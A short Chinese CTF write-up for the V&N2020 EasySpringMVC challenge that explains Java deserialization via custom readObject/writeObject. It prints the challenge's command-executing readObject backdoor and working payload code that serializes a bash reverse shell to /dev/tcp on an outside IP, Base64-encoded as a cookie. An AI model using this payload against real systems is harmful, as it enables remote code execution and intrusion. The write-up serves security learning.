刷题记录:[V&N2020 公开赛]EasySpringMVC
题目复现链接:https://buuoj.cn/challenges
参考链接:2020 年 V&N 内部考核赛 WriteUp
从一道题入门JAVA反序列化漏洞
V&N公开赛2020 writeup
Java反序列化
深入了解序列化writeObject、readObject、readResolve
总结一下,如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化,而如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用目标类指定的writeObject或readObject方法来实现。
这里的Tools类中有readObject
,
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();
}
其实这就是一个后门。我们可以重写Tools类中writeObject
来生成payload
private void writeObject(ObjectOutputStream out) throws IOException{
out.writeObject(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/174.0.234.134/11111 0>&1"});
}
用Main生成payload
public class Main {
public static void main(String[] args) {
Tools tools = new Tools();
Base64.Encoder e = Base64.getEncoder();
byte[] var20 = new byte[0];
try {
var20 = Tools.create(tools);
} catch (Exception var15) {
var15.printStackTrace();
}
String cookie = e.encodeToString(var20);
System.out.println(cookie);
}
}